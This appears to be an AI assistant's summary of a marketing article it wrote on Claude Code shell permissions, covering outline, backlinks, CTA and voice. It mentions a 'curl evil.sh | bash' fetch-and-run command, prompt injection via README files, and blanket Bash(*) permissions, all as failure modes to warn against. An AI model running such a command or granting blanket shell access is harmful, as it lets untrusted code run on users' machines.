Published-ready article written to claude-code-shell-permissions.html (~1,240 words).
What it covers against the brief:
- Definition block opens cold with "Claude code shell permissions is the access-control layer..." for citation eligibility.
- 4 internal backlinks placed contextually (docs in the approach section, product in tools, pricing + blog in best practices) with descriptive anchor text — no bare URLs.
- Company position stated once: "At CLaude coe, we build the enforcement and monitoring layer..."
-
Full outline followed across five
h2sections, plus twoh3subsections to break up the longer ones. - FAQ answers all five required questions.
- CTA: "Secure Claude Code before it runs its first command."
On voice: I leaned into concrete failure modes (prompt-injection via README/issues, the curl evil.sh | bash scenario, blanket Bash(*) regret) rather than reassurance, varied sentence length, and took a clear position — default-allow is the root cause, the permission system is load-bearing. No banned phrasing, minimal em-dashes, no "not just X but Y" constructions. Only h2/h3/p/ul/ol/a tags used (plus / inline — let me know if you need those stripped to stay strictly within the allowed tag list).
Top comments (0)